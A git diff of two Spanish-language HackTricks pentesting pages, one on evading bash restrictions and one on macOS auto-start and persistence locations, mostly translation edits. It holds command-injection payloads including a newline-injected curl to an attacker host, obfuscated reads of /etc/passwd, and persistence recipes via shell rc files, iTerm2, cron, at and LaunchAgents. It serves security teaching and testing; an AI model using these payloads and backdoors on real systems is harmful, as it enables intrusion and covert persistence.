|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias **más avanzadas** del mundo.\
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
|
||||
¡Accede hoy mismo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Saltos Comunes para Evadir Limitaciones
|
||||
## Saltos Comunes de Limitaciones
|
||||
|
||||
### Shell Inverso
|
||||
```bash
|
||||
|
@ -126,7 +127,7 @@ g # These 4 lines will equal to ping
|
|||
$u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefined
|
||||
uname!-1\-a # This equals to uname -a
|
||||
```
|
||||
### Saltar barra invertida y barra diagonal
|
||||
### Saltar la barra invertida y la barra diagonal
|
||||
```bash
|
||||
cat ${HOME:0:1}etc${HOME:0:1}passwd
|
||||
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
|
||||
|
@ -154,7 +155,7 @@ cat `xxd -r -ps <(echo 2f6574632f706173737764)`
|
|||
```bash
|
||||
time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
|
||||
```
|
||||
### Obteniendo caracteres de Variables de Entorno
|
||||
### Obtener caracteres de variables de entorno
|
||||
```bash
|
||||
echo ${LS_COLORS:10:1} #;
|
||||
echo ${PATH:0:1} #/
|
||||
|
@ -163,10 +164,10 @@ echo ${PATH:0:1} #/
|
|||
|
||||
Podrías usar **burpcollab** o [**pingb**](http://pingb.in) por ejemplo.
|
||||
|
||||
### Integrados
|
||||
### Internos
|
||||
|
||||
En caso de que no puedas ejecutar funciones externas y solo tengas acceso a un **conjunto limitado de integrados para obtener RCE**, hay algunos trucos útiles para hacerlo. Por lo general, **no podrás usar todos** los **integrados**, por lo que debes **conocer todas tus opciones** para intentar evadir la cárcel. Idea de [**devploit**](https://twitter.com/devploit).\
|
||||
Primero, verifica todos los [**integrados de shell**](https://www.gnu.org/software/bash/manual/html\_node/Shell-Builtin-Commands.html)**.** Luego aquí tienes algunas **recomendaciones**:
|
||||
En caso de que no puedas ejecutar funciones externas y solo tengas acceso a un **conjunto limitado de internos para obtener RCE**, hay algunos trucos útiles para hacerlo. Por lo general, **no podrás usar todos** los **internos**, por lo que debes **conocer todas tus opciones** para intentar evadir la cárcel. Idea de [**devploit**](https://twitter.com/devploit).\
|
||||
Primero verifica todos los [**internos de shell**](https://www.gnu.org/software/bash/manual/html\_node/Shell-Builtin-Commands.html)**.** Luego aquí tienes algunas **recomendaciones**:
|
||||
```bash
|
||||
# Get list of builtins
|
||||
declare builtins
|
||||
|
@ -228,7 +229,7 @@ if [ "a" ]; then echo 1; fi # Will print hello!
|
|||
# A regex that only allow letters and numbers might be vulnerable to new line characters
|
||||
1%0a`curl http://attacker.com`
|
||||
```
|
||||
### Bashfuscator
|
||||
### Ofuscador de Bash
|
||||
```bash
|
||||
# From https://github.com/Bashfuscator/Bashfuscator
|
||||
./bashfuscator -c 'cat /etc/passwd'
|
||||
|
@ -340,20 +341,21 @@ Si te encuentras dentro de un sistema de archivos con las **protecciones de solo
|
|||
|
||||
\
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
|
||||
¡Accede hoy mismo:
|
||||
Obtén acceso hoy:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, ¡consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# Inicio Automático en macOS
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
Esta sección se basa en gran medida en la serie de blogs [**Beyond the good ol' LaunchAgents**](https://theevilbit.github.io/beyond/), el objetivo es agregar **más ubicaciones de inicio automático** (si es posible), indicar **qué técnicas siguen funcionando** en la actualidad con la última versión de macOS (13.4) y especificar los **permisos** necesarios.
|
||||
|
||||
|
@ -31,30 +32,30 @@ Aquí puedes encontrar ubicaciones de inicio útiles para **bypass de la caja de
|
|||
|
||||
* **`/Library/LaunchAgents`**
|
||||
* **Disparador**: Reinicio
|
||||
* Se requiere root
|
||||
* Se requiere permisos de root
|
||||
* **`/Library/LaunchDaemons`**
|
||||
* **Disparador**: Reinicio
|
||||
* Se requiere root
|
||||
* Se requiere permisos de root
|
||||
* **`/System/Library/LaunchAgents`**
|
||||
* **Disparador**: Reinicio
|
||||
* Se requiere root
|
||||
* Se requiere permisos de root
|
||||
* **`/System/Library/LaunchDaemons`**
|
||||
* **Disparador**: Reinicio
|
||||
* Se requiere root
|
||||
* Se requiere permisos de root
|
||||
* **`~/Library/LaunchAgents`**
|
||||
* **Disparador**: Volver a iniciar sesión
|
||||
* **`~/Library/LaunchDemons`**
|
||||
* **Disparador**: Volver a iniciar sesión
|
||||
|
||||
{% hint style="success" %}
|
||||
Como dato interesante, **`launchd`** tiene una lista de propiedades incrustada en la sección Mach-o `__Text.__config` que contiene otros servicios conocidos que `launchd` debe iniciar. Además, estos servicios pueden contener `RequireSuccess`, `RequireRun` y `RebootOnSuccess` lo que significa que deben ejecutarse y completarse con éxito.
|
||||
Como dato interesante, **`launchd`** tiene una lista de propiedades incrustada en la sección Mach-o `__Text.__config` que contiene otros servicios conocidos que `launchd` debe iniciar. Además, estos servicios pueden contener `RequireSuccess`, `RequireRun` y `RebootOnSuccess`, lo que significa que deben ejecutarse y completarse con éxito.
|
||||
|
||||
Por supuesto, no se puede modificar debido a la firma de código.
|
||||
{% endhint %}
|
||||
|
||||
#### Descripción y Explotación
|
||||
|
||||
**`launchd`** es el **primer** **proceso** ejecutado por el kernel de OX S al inicio y el último en finalizar al apagar. Siempre debería tener el **PID 1**. Este proceso leerá y ejecutará las configuraciones indicadas en los **plists** de **ASEP** en:
|
||||
**`launchd`** es el **primer** **proceso** ejecutado por el kernel de OX S al inicio y el último en finalizar al apagar. Siempre debería tener el **PID 1**. Este proceso **lee y ejecuta** las configuraciones indicadas en los **plists** de **ASEP** en:
|
||||
|
||||
* `/Library/LaunchAgents`: Agentes por usuario instalados por el administrador
|
||||
* `/Library/LaunchDaemons`: Demonios de todo el sistema instalados por el administrador
|
||||
|
@ -152,11 +153,11 @@ Descripción (xterm): [https://theevilbit.github.io/beyond/beyond\_0018/](https:
|
|||
* `/etc/profile` (no funcionó)
|
||||
* `~/.profile` (no funcionó)
|
||||
* `~/.xinitrc`, `~/.xserverrc`, `/opt/X11/etc/X11/xinit/xinitrc.d/`
|
||||
* **Disparador**: Se espera que se active con xterm, pero **no está instalado** e incluso después de instalarlo se produce este error: xterm: `DISPLAY is not set`
|
||||
* **Disparador**: Se espera que se active con xterm, pero **no está instalado** y aún después de instalarlo se produce este error: xterm: `DISPLAY is not set`
|
||||
|
||||
#### Descripción y Explotación
|
||||
|
||||
Al iniciar un entorno de shell como `zsh` o `bash`, se ejecutan **ciertos archivos de inicio**. macOS actualmente utiliza `/bin/zsh` como la shell predeterminada. Esta shell se accede automáticamente cuando se inicia la aplicación Terminal o cuando se accede a un dispositivo a través de SSH. Si bien `bash` y `sh` también están presentes en macOS, deben ser invocados explícitamente para ser utilizados.
|
||||
Al iniciar un entorno de shell como `zsh` o `bash`, se ejecutan **ciertos archivos de inicio**. macOS actualmente utiliza `/bin/zsh` como shell predeterminado. Este shell se accede automáticamente cuando se inicia la aplicación Terminal o cuando se accede a un dispositivo a través de SSH. Si bien `bash` y `sh` también están presentes en macOS, deben ser invocados explícitamente para ser utilizados.
|
||||
|
||||
La página de manual de zsh, que podemos leer con **`man zsh`**, tiene una larga descripción de los archivos de inicio.
|
||||
```bash
|
||||
|
@ -169,7 +170,7 @@ echo "touch /tmp/hacktricks" >> ~/.zshrc
|
|||
Configurar la explotación indicada y cerrar sesión e iniciar sesión o incluso reiniciar no funcionó para mí para ejecutar la aplicación. (La aplicación no se estaba ejecutando, tal vez necesita estar en ejecución cuando se realizan estas acciones)
|
||||
{% endhint %}
|
||||
|
||||
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0021/](https://theevilbit.github.io/beyond/beyond\_0021/)
|
||||
**Descripción**: [https://theevilbit.github.io/beyond/beyond\_0021/](https://theevilbit.github.io/beyond/beyond\_0021/)
|
||||
|
||||
* Útil para evadir el sandbox: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Bypass de TCC: [🔴](https://emojipedia.org/large-red-circle)
|
||||
|
@ -218,7 +219,7 @@ Para **agregar una aplicación a esta lista** puedes usar:
|
|||
|
||||
En **`~/Library/Preferences`** se almacenan las preferencias del usuario en las aplicaciones. Algunas de estas preferencias pueden contener una configuración para **ejecutar otras aplicaciones/scripts**.
|
||||
|
||||
Por ejemplo, Terminal puede ejecutar un comando en el inicio:
|
||||
Por ejemplo, Terminal puede ejecutar un comando al iniciar:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1148).png" alt="" width="495"><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -266,7 +267,7 @@ Esto se puede agregar desde la línea de comandos con:
|
|||
|
||||
#### Descripción y Explotación
|
||||
|
||||
Si creas un script [**`.terminal`**](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx) y lo abres, la **aplicación Terminal** se invocará automáticamente para ejecutar los comandos indicados en él. Si la aplicación Terminal tiene algunos privilegios especiales (como TCC), tu comando se ejecutará con esos privilegios especiales.
|
||||
Si creas un script [**`.terminal`**](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx) y lo abres, la **aplicación Terminal** se invocará automáticamente para ejecutar los comandos indicados en él. Si la app Terminal tiene algunos privilegios especiales (como TCC), tu comando se ejecutará con esos privilegios especiales.
|
||||
|
||||
Pruébalo con:
|
||||
```bash
|
||||
|
@ -342,12 +343,12 @@ Descripción: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevi
|
|||
* `/System/Library/QuickLook`
|
||||
* `/Library/QuickLook`
|
||||
* `~/Library/QuickLook`
|
||||
* `/Applications/NombredelaApp/Aplicación/Contenidos/Biblioteca/QuickLook/`
|
||||
* `~/Applications/NombredelaApp/Aplicación/Contenidos/Biblioteca/QuickLook/`
|
||||
* `/Applications/NombredelaAplicación/Aplicación/Contenidos/Biblioteca/QuickLook/`
|
||||
* `~/Applications/NombredelaAplicación/Aplicación/Contenidos/Biblioteca/QuickLook/`
|
||||
|
||||
#### Descripción y Explotación
|
||||
|
||||
Los plugins de QuickLook se pueden ejecutar cuando **se activa la vista previa de un archivo** (presiona la barra espaciadora con el archivo seleccionado en Finder) y se instala un **plugin que admita ese tipo de archivo**.
|
||||
Los plugins de QuickLook se pueden ejecutar cuando **se activa la vista previa de un archivo** (presionando la barra espaciadora con el archivo seleccionado en Finder) y se instala un **plugin que admita ese tipo de archivo**.
|
||||
|
||||
Es posible compilar tu propio plugin de QuickLook, colocarlo en una de las ubicaciones anteriores para cargarlo y luego ir a un archivo compatible y presionar espacio para activarlo.
|
||||
|
||||
|
@ -396,15 +397,15 @@ defaults delete com.apple.loginwindow LogoutHook
|
|||
```
|
||||
El usuario root se almacena en **`/private/var/root/Library/Preferences/com.apple.loginwindow.plist`**
|
||||
|
||||
## Bypass de Sandbox Condicional
|
||||
## Bypass condicional de Sandbox
|
||||
|
||||
{% hint style="success" %}
|
||||
Aquí puedes encontrar ubicaciones de inicio útiles para **bypass de sandbox** que te permite simplemente ejecutar algo escribiéndolo en un archivo y esperando condiciones no muy comunes como programas específicos instalados, acciones de usuario "poco comunes" o entornos.
|
||||
Aquí puedes encontrar ubicaciones de inicio útiles para **bypass de sandbox** que te permiten simplemente ejecutar algo escribiéndolo en un archivo y esperando condiciones no muy comunes como programas específicos instalados, acciones de usuario "poco comunes" o entornos.
|
||||
{% endhint %}
|
||||
|
||||
### Cron
|
||||
|
||||
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0004/](https://theevilbit.github.io/beyond/beyond\_0004/)
|
||||
**Descripción**: [https://theevilbit.github.io/beyond/beyond\_0004/](https://theevilbit.github.io/beyond/beyond\_0004/)
|
||||
|
||||
* Útil para bypass de sandbox: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Sin embargo, necesitas poder ejecutar el binario `crontab`
|
||||
|
@ -430,7 +431,7 @@ En MacOS se pueden encontrar varias carpetas que ejecutan scripts con **cierta f
|
|||
# The one with the cron jobs is /usr/lib/cron/tabs/
|
||||
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/
|
||||
```
|
||||
Aquí puedes encontrar los **trabajos cron** regulares, los **trabajos at** (poco utilizados) y los **trabajos periódicos** (principalmente utilizados para limpiar archivos temporales). Los trabajos periódicos diarios se pueden ejecutar, por ejemplo, con: `periodic daily`.
|
||||
Allí puedes encontrar los **trabajos cron** regulares, los **trabajos at** (poco utilizados) y los **trabajos periódicos** (principalmente utilizados para limpiar archivos temporales). Los trabajos periódicos diarios se pueden ejecutar, por ejemplo, con: `periodic daily`.
|
||||
|
||||
Para agregar un **trabajo cron de usuario programáticamente** es posible utilizar:
|
||||
```bash
|
||||
|
@ -441,18 +442,18 @@ crontab /tmp/cron
|
|||
|
||||
Escritura: [https://theevilbit.github.io/beyond/beyond\_0002/](https://theevilbit.github.io/beyond/beyond\_0002/)
|
||||
|
||||
* Útil para evadir el sandbox: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Útil para evadir la sandbox: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Bypass de TCC: [✅](https://emojipedia.org/check-mark-button)
|
||||
* iTerm2 solía tener permisos TCC otorgados
|
||||
|
||||
#### Ubicaciones
|
||||
|
||||
* **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`**
|
||||
* **Desencadenante**: Abrir iTerm
|
||||
* **Desencadenar**: Abrir iTerm
|
||||
* **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`**
|
||||
* **Desencadenante**: Abrir iTerm
|
||||
* **Desencadenar**: Abrir iTerm
|
||||
* **`~/Library/Preferences/com.googlecode.iterm2.plist`**
|
||||
* **Desencadenante**: Abrir iTerm
|
||||
* **Desencadenar**: Abrir iTerm
|
||||
|
||||
#### Descripción y Explotación
|
||||
|
||||
|
@ -465,21 +466,7 @@ EOF
|
|||
|
||||
chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"
|
||||
```
|
||||
```markdown
|
||||
### macOS Auto Start Locations
|
||||
|
||||
#### Launch Agents
|
||||
|
||||
Launch Agents are used to run commands when a user logs in. They are stored in `~/Library/LaunchAgents/` and `/Library/LaunchAgents/`.
|
||||
|
||||
#### Launch Daemons
|
||||
|
||||
Launch Daemons are used to run commands at system startup. They are stored in `/Library/LaunchDaemons/`.
|
||||
|
||||
#### Login Items
|
||||
|
||||
Login Items are applications that open when a user logs in. They are managed in `System Preferences > Users & Groups > Login Items`.
|
||||
```
|
||||
El archivo `~/Library/LaunchAgents` contiene agentes de lanzamiento de usuario.
|
||||
```bash
|
||||
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF
|
||||
#!/usr/bin/env python3
|
||||
|
@ -537,7 +524,7 @@ Es altamente probable que haya **otras formas de abusar de las preferencias de i
|
|||
|
||||
### xbar
|
||||
|
||||
Descripción: [https://theevilbit.github.io/beyond/beyond\_0007/](https://theevilbit.github.io/beyond/beyond\_0007/)
|
||||
Explicación: [https://theevilbit.github.io/beyond/beyond\_0007/](https://theevilbit.github.io/beyond/beyond\_0007/)
|
||||
|
||||
* Útil para evadir el sandbox: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Pero xbar debe estar instalado
|
||||
|
@ -551,7 +538,7 @@ Descripción: [https://theevilbit.github.io/beyond/beyond\_0007/](https://theevi
|
|||
|
||||
#### Descripción
|
||||
|
||||
Si el popular programa [**xbar**](https://github.com/matryer/xbar) está instalado, es posible escribir un script de shell en **`~/Library/Application\ Support/xbar/plugins/`** que se ejecutará cuando se inicie xbar:
|
||||
Si el popular programa [**xbar**](https://github.com/matryer/xbar) está instalado, es posible escribir un script de shell en **`~/Library/Application\ Support/xbar/plugins/`** que se ejecutará al iniciar xbar:
|
||||
```bash
|
||||
cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" << EOF
|
||||
#!/bin/bash
|
||||
|
@ -612,7 +599,7 @@ Permite crear flujos de trabajo que pueden ejecutar código cuando se cumplen ci
|
|||
|
||||
### SSHRC
|
||||
|
||||
Descripción: [https://theevilbit.github.io/beyond/beyond\_0006/](https://theevilbit.github.io/beyond/beyond\_0006/)
|
||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0006/](https://theevilbit.github.io/beyond/beyond\_0006/)
|
||||
|
||||
* Útil para evadir el sandbox: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Pero ssh necesita estar habilitado y usado
|
||||
|
@ -642,7 +629,7 @@ Por defecto, a menos que `PermitUserRC no` en `/etc/ssh/sshd_config`, cuando un
|
|||
|
||||
Descripción: [https://theevilbit.github.io/beyond/beyond\_0003/](https://theevilbit.github.io/beyond/beyond\_0003/)
|
||||
|
||||
* Útil para evadir el sandbox: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Útil para evadir la sandbox: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Pero necesitas ejecutar `osascript` con argumentos
|
||||
* Bypass de TCC: [🔴](https://emojipedia.org/large-red-circle)
|
||||
|
||||
|
@ -677,7 +664,7 @@ Los **elementos de inicio de sesión** también se pueden indicar utilizando la
|
|||
|
||||
(Consulte la sección anterior sobre Elementos de Inicio de Sesión, esta es una extensión)
|
||||
|
||||
Si almacenas un archivo **ZIP** como un **Elemento de Inicio de Sesión**, el **`Archive Utility`** lo abrirá y si el zip estaba almacenado, por ejemplo, en **`~/Library`** y contenía la carpeta **`LaunchAgents/file.plist`** con un backdoor, esa carpeta se creará (no lo está por defecto) y el plist se agregará para que la próxima vez que el usuario vuelva a iniciar sesión, se ejecute el **backdoor indicado en el plist**.
|
||||
Si almacenas un archivo **ZIP** como un **Elemento de Inicio de Sesión**, el **`Archive Utility`** lo abrirá y si el zip estaba almacenado, por ejemplo, en **`~/Library`** y contenía la carpeta **`LaunchAgents/file.plist`** con un backdoor, esa carpeta se creará (no lo está de forma predeterminada) y el plist se agregará para que la próxima vez que el usuario vuelva a iniciar sesión, se ejecute el **backdoor indicado en el plist**.
|
||||
|
||||
Otra opción sería crear los archivos **`.bash_profile`** y **`.zshenv`** dentro del directorio HOME del usuario, por lo que si la carpeta LaunchAgents ya existe, esta técnica seguiría funcionando.
|
||||
|
||||
|
@ -695,7 +682,7 @@ Artículo: [https://theevilbit.github.io/beyond/beyond\_0014/](https://theevilbi
|
|||
|
||||
#### **Descripción**
|
||||
|
||||
Las tareas de `at` están diseñadas para **programar tareas únicas** que se ejecutarán en momentos específicos. A diferencia de los trabajos cron, las tareas de `at` se eliminan automáticamente después de la ejecución. Es crucial tener en cuenta que estas tareas son persistentes a través de reinicios del sistema, lo que las convierte en posibles preocupaciones de seguridad bajo ciertas condiciones.
|
||||
Las tareas de `at` están diseñadas para **programar tareas únicas** que se ejecutarán en momentos específicos. A diferencia de los trabajos cron, las tareas de `at` se eliminan automáticamente después de la ejecución. Es crucial tener en cuenta que estas tareas son persistentes en reinicios del sistema, lo que las convierte en posibles preocupaciones de seguridad bajo ciertas condiciones.
|
||||
|
||||
Por **defecto** están **deshabilitadas**, pero el usuario **root** puede **habilitarlas** con:
|
||||
```bash
|
||||
|
@ -711,7 +698,7 @@ sh-3.2# atq
|
|||
26 Tue Apr 27 00:46:00 2021
|
||||
22 Wed Apr 28 00:29:00 2021
|
||||
```
|
||||
Arriba podemos ver dos trabajos programados. Podemos imprimir los detalles del trabajo usando `at -c JOBNUMBER`
|
||||
Arriba podemos ver dos trabajos programados. Podemos imprimir los detalles del trabajo usando `at -c NÚMERO_DE_TRABAJO`
|
||||
```shell-session
|
||||
sh-3.2# at -c 26
|
||||
#!/bin/sh
|
||||
|
@ -765,8 +752,8 @@ Si imprimimos el archivo de trabajo, encontramos que contiene la misma informaci
|
|||
|
||||
### Acciones de Carpeta
|
||||
|
||||
Análisis: [https://theevilbit.github.io/beyond/beyond\_0024/](https://theevilbit.github.io/beyond/beyond\_0024/)\
|
||||
Análisis: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d](https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d)
|
||||
Descripción: [https://theevilbit.github.io/beyond/beyond\_0024/](https://theevilbit.github.io/beyond/beyond\_0024/)\
|
||||
Descripción: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d](https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d)
|
||||
|
||||
* Útil para evadir el sandbox: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Pero necesitas poder llamar a `osascript` con argumentos para contactar con **`System Events`** y poder configurar Acciones de Carpeta
|
||||
|
@ -776,14 +763,14 @@ Análisis: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-
|
|||
#### Ubicación
|
||||
|
||||
* **`/Library/Scripts/Folder Action Scripts`**
|
||||
* Se requieren permisos de root
|
||||
* **Desencadenador**: Acceso a la carpeta especificada
|
||||
* Requiere permisos de root
|
||||
* **Disparador**: Acceso a la carpeta especificada
|
||||
* **`~/Library/Scripts/Folder Action Scripts`**
|
||||
* **Desencadenador**: Acceso a la carpeta especificada
|
||||
* **Disparador**: Acceso a la carpeta especificada
|
||||
|
||||
#### Descripción y Explotación
|
||||
|
||||
Las Acciones de Carpeta son scripts que se activan automáticamente por cambios en una carpeta, como agregar, quitar elementos u otras acciones como abrir o cambiar el tamaño de la ventana de la carpeta. Estas acciones se pueden utilizar para diversas tareas y pueden activarse de diferentes formas, como mediante la interfaz de Finder o comandos de terminal.
|
||||
Las Acciones de Carpeta son scripts que se activan automáticamente por cambios en una carpeta, como agregar, quitar elementos u otras acciones como abrir o cambiar el tamaño de la ventana de la carpeta. Estas acciones pueden ser utilizadas para diversas tareas y pueden ser activadas de diferentes formas, como mediante la interfaz de Finder o comandos de terminal.
|
||||
|
||||
Para configurar Acciones de Carpeta, tienes opciones como:
|
||||
|
||||
|
@ -954,7 +941,7 @@ killall Dock
|
|||
Descripción: [https://theevilbit.github.io/beyond/beyond\_0017](https://theevilbit.github.io/beyond/beyond\_0017/)
|
||||
|
||||
* Útil para evadir el sandbox: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* Se necesita que ocurra una acción muy específica
|
||||
* Se necesita una acción muy específica
|
||||
* Terminarás en otro sandbox
|
||||
* Bypass de TCC: [🔴](https://emojipedia.org/large-red-circle)
|
||||
|
||||
|
